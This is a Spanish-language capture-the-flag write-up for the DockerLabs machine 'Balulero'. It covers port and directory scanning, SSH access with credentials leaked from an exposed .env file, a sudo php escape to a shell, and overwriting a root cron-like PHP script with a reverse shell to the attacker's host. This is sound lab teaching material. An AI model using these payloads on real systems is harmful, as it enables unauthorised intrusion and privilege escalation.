> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/balulero.md).

# 🟩 Balulero

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

{% code overflow="wrap" %}

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

{% endcode %}

<figure><img src="/files/F0JwRH5eiEwuTioq9XwR" alt=""><figcaption></figcaption></figure>

Vemos que se encuentran abiertos los puertos de SSH (22) y HTTP (80). Vamos a realizar un escaneo de directorios con `ffuf` sobre el servicio web:

{% code overflow="wrap" %}

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

{% endcode %}

<figure><img src="/files/nRAmlaQ51r5RNeRM5zjf" alt=""><figcaption></figcaption></figure>

Si visualizamos el código javascript de `script.js` en el navegador, encontramos una línea llamativa donde menciona un fichero llamado `.env_de_baluchingon`:

<figure><img src="/files/szKyXt3h5m4e8z3x3i3k" alt=""><figcaption></figcaption></figure>

Si vemos el contenido de este fichero en la web, podemos observar unas credenciales.

<figure><img src="/files/Znw8cRbMHTeYvZswPsC0" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Nos conectamos con estas credenciales al servicio SSH.

<figure><img src="/files/ULYVCAvCghvY6cRQk7YF" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Vemos los permisos que tenemos con `sudo` en este usuario:

<figure><img src="/files/8RD5qiNOeaYhilTFYmDh" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos para usar el binario `/usr/bin/php` como el usuario `chocolate` sin necesidad de contraseña. Podemos usar `php` para llamar al binario `/bin/sh` y obtener una shell como `chocolate`.

{% code overflow="wrap" %}

```bash
sudo -u chocolate php -r 'system("/bin/sh -i");'
```

{% endcode %}

<figure><img src="/files/jhSi1igPPiO2eK0WbN86" alt=""><figcaption></figcaption></figure>

Si vemos los procesos que se están ejecutando como `root` en el sistema, vemos un proceso interesante:

{% code overflow="wrap" %}

```bash
ps aux | grep root
```

{% endcode %}

<figure><img src="/files/Rlk9Siaj1yexCV7EhOkL" alt=""><figcaption></figcaption></figure>

En concreto, el proceso que ejecuta `while true; do php /opt/script.php; sleep 5; done`. Si vemos el fichero `/opt/script.php`, tenemos permisos de escritura, por lo que podemos modificarlo para que ejecute una reverse shell hacia nuestra máquina atacante.

<figure><img src="/files/fw3eNKQJXTIeRfESGFqG" alt=""><figcaption></figcaption></figure>

Modificamos el fichero y nos ponemos a la escucha en nuestra máquina kali:

{% code overflow="wrap" %}

```bash
echo '<?php $sock=fsockopen("172.17.0.1",9999);exec("sh <&3 >&3 2>&3"); ?>' > script.php
```

{% endcode %}

<figure><img src="/files/mApXaAGvZn5PeMmryznP" alt=""><figcaption></figcaption></figure>
